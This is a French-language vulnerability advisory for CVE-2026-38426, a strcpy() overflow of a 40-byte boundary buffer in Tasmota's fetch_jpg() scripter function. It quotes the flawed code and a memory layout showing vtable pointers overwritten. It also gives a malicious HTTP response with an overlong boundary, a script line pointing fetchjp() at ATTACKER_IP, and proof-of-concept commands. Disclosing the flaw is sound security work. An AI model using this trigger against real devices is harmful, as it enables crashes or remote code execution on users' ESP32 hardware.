
CVE-2026-38426 — Débordement de tampon de pile strcpy() dans Tasmota fetch_jpg() boundary[40] (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
Sévérité : Critique (CVSS 9.8)
Produit : Arendst Tasmota
Version affectée : <= 15.3.0.3
Fichier : tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Fonction : fetch_jpg() — cas 0 (connexion initiale)
Auteur : Saidakbarxon Maxsudxonov
Divulgation : Responsable — signalé à Tasmota avant publication
Une vulnérabilité classique de débordement de tampon strcpy() existe dans la fonction fetch_jpg() du pilote scripter de Tasmota. La chaîne de limite MJPEG extraite de l'en-tête de réponse HTTP Content-Type est copiée dans un tampon fixe de 40 octets (boundary[40]) sans aucune validation de longueur. Un attaquant contrôlant le serveur HTTP MJPEG peut fournir une chaîne de limite de plus de 39 caractères pour déborder le tampon et corrompre la mémoire tas adjacente — permettant potentiellement l'exécution de code à distance sur l'ESP32.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
L'attaquant exécute un serveur HTTP auquel Tasmota se connecte via fetchjp(). Le serveur répond avec un en-tête Content-Type contenant une chaîne de limite de plus de 39 caractères :
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Déclenchement via le script Tasmota :
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
Voir CVE-2026-38426_poc.py pour l'implémentation complète.